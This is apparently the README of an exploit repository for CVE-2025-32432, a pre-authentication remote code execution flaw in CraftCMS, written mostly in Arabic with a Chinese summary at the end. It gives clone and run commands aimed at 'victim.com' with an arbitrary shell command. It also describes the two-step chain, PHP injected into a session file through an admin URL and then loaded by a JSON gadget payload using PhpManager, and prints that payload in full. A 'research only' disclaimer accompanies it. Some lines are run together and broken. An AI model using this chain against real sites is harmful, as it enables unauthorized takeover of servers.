
استغلال Python لـ CVE-2025-32432، وهو RCE قبل المصادقة في نقطة تحويل الأصول في CraftCMS. يتضمن سلسلة من حزمتين لتنفيذ أوامر شل عشوائية عبر أدوات إلغاء التسلسل.
تنفيذ الأوامر عن بُعد بدون مصادقة لـ CraftCMS 3.x / 4.x / 5.x
مُعدّ PoC: C.T.Y. (للاستخدام البحثي فقط)
اكتشاف الثغرة: Nicolas Bourras – Orange Cyberdefense
إلهام إضافي لـ PoC: بحث SensePost وسكربت Chirag Artani العام
يحتوي هذا المستودع على سكربتين استغلال متكاملتين بالـ Python لـ CVE-2025-32432 — وهي ثغرة تنفيذ أوامر عن بُعد بدون مصادقة في نقطة تحويل الأصول (asset-transform) في CraftCMS.
| السكربت | الغرض |
|---|
craftcms_rce_php_check.py | اختبار أمان — يرسل طلبًا واحدًا باستخدام أداة FnStream للتحقق مما إذا كان يمكن تنفيذ PHP عشوائي (يطبع مخرجات phpinfo()). مثالي للتأكيد منخفض التأثير. |
craftcms_final_payload.py | استغلال كامل — سلسلة من حزمتين: أولاً يزرع PHP عبر FnStream، ثم يستفيد من أداة FieldLayoutBehavior → PhpManager لتنفيذ أي أمر شيل. |
السكربت الثاني هو الموصوف في هذا الملف.
السكربت الأول مُضمن للإكمال والتحقق السريع، بفضل Chirag Artani — انظر شكر وتقدير.
تم تعديل اسم الملف للتوضيح؛ الهيكل والفكرة الأصليان من Chirag Artani.
للاستخدام التعليمي والاختبار الأمني المصرح به فقط.
استخدام هذه السكربتات ضد أنظمة بدون إذن كتابي صريح هو غير قانوني وغير أخلاقي.
assetId (مبدأ 404 → 302)-c/--cmd)pip install -r requirements.txt):
requestsurllib3# استنساخ المستودع
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# تثبيت التبعيات
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://victim.com
إذا رأيت مخرجات phpinfo()، فالهدف على الأرجح قابل للاستغلال.
python3 craftcms_final_payload.py -u https://victim.com -c "id"
| الخيار | الاسم الطويل | الوصف | إلزامي |
|---|---|---|---|
-u | --url | رابط القاعدة للهدف (بدون شرطة مائلة) | ✅ |
-c | --cmd | أمر الشيل لتنفيذه | ✅ |
-a | --asset | assetId صالح معروف | ❌ |
-s | --scan-max | حد التخمين (الافتراضي: 300) | ❌ |
/index.php?p=admin/dashboard&a=<?=...?> يكتب PHP عشوائي في /tmp/sess_<ID>.actions/assets/generate-transform مع أداة FieldLayoutBehavior → PhpManager يجبر CraftCMS على استدعاء require() لملف الجلسة، مما ينفذ الكود.{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId)phpinfo الأصلي (craftcms_rce_php_check.py) وأفكار بحثية مبكرة
تم تعديل اسم الملف للتوضيح؛ الهيكل والفكرة الأصليان من Chirag Artani.إشعار المسؤولية: أي مخاطر قانونية أو أضرار ناتجة عن استخدام هذا الكود تقع بالكامل على عاتق المستخدم.
MIT License — انظر LICENSE.
| 檔案 | 用途 |
|---|---|
craftcms_rce_php_check.py | PHP 執行可行性檢查:單一請求,使用 FnStream 觸發 phpinfo(),以低影響方式驗證目標是否易受攻擊。此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。 |
craftcms_final_payload.py | 兩包鏈完整利用:先以 FnStream 植入 PHP,再透過 PhpManager 執行任意指令。 |
僅供教學與合法授權測試使用。未經授權操作即屬違法。
python3 craftcms_rce_php_check.py -u https://目標站
python3 craftcms_final_payload.py -u https://目標站 -c "id"
參數與英文版相同。
phpinfo 檢查腳本
此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。使用本程式碼造成之任何法律風險與損失,由使用者自行承擔。
MIT License